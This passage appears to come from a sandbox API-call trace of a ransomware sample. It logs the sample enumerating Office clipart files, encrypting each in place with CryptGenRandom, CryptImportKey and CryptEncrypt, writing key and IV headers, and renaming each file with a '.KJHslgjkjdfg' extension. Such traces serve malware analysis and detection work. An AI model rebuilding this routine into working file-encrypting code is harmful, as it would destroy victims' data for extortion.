ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1 [0197.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.838] GetProcessHeap () returned 0x990000 [0197.838] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.838] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.839] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.839] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.839] GetProcessHeap () returned 0x990000 [0197.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.839] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.839] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.839] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.841] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.841] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.841] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.842] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.842] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.842] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3040, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3040, lpOverlapped=0x0) returned 1 [0197.843] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3040, dwBufLen=0x3040 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3040) returned 1 [0197.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.843] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3040, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3040, lpOverlapped=0x0) returned 1 [0197.843] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.844] SetEndOfFile (hFile=0x130) returned 1 [0197.846] GetProcessHeap () returned 0x990000 [0197.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.846] GetProcessHeap () returned 0x990000 [0197.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.kjhslgjkjdfg")) returned 1 [0197.847] CloseHandle (hObject=0x130) returned 1 [0197.847] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1 [0197.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.848] GetProcessHeap () returned 0x990000 [0197.848] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.848] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.848] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.848] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.848] GetProcessHeap () returned 0x990000 [0197.848] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.848] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.848] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.848] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.850] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.850] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.850] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.850] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.850] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.850] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.850] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2480, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2480, lpOverlapped=0x0) returned 1 [0197.851] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2480, dwBufLen=0x2480 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2480) returned 1 [0197.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.851] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2480, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2480, lpOverlapped=0x0) returned 1 [0197.852] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.852] SetEndOfFile (hFile=0x130) returned 1 [0197.854] GetProcessHeap () returned 0x990000 [0197.854] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.854] GetProcessHeap () returned 0x990000 [0197.854] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.kjhslgjkjdfg")) returned 1 [0197.855] CloseHandle (hObject=0x130) returned 1 [0197.855] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1 [0197.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.858] GetProcessHeap () returned 0x990000 [0197.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.858] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.858] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0197.860] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.860] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.860] GetProcessHeap () returned 0x990000 [0197.860] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.860] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.860] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.860] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.860] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.860] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.861] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.861] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.861] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.861] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3fe2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3fe2, lpOverlapped=0x0) returned 1 [0197.862] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ff0, dwBufLen=0x3ff0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ff0) returned 1 [0197.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.862] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ff0, lpOverlapped=0x0) returned 1 [0197.862] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x40c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.862] SetEndOfFile (hFile=0x130) returned 1 [0197.864] GetProcessHeap () returned 0x990000 [0197.864] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.864] GetProcessHeap () returned 0x990000 [0197.864] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.kjhslgjkjdfg")) returned 1 [0197.866] CloseHandle (hObject=0x130) returned 1 [0197.866] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1 [0197.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.866] GetProcessHeap () returned 0x990000 [0197.866] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.866] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.866] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.868] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.868] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.868] GetProcessHeap () returned 0x990000 [0197.868] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.868] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.868] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.868] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.869] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.869] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.869] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.869] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.869] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.869] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.869] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14fc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x14fc, lpOverlapped=0x0) returned 1 [0197.870] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1500, dwBufLen=0x1500 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1500) returned 1 [0197.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.870] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1500, lpOverlapped=0x0) returned 1 [0197.870] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.870] SetEndOfFile (hFile=0x130) returned 1 [0197.873] GetProcessHeap () returned 0x990000 [0197.873] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.873] GetProcessHeap () returned 0x990000 [0197.873] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.873] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.kjhslgjkjdfg")) returned 1 [0197.875] CloseHandle (hObject=0x130) returned 1 [0197.875] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1 [0197.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.875] GetProcessHeap () returned 0x990000 [0197.876] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.876] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.876] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.952] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.952] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.952] GetProcessHeap () returned 0x990000 [0197.952] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.952] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.952] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.952] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, 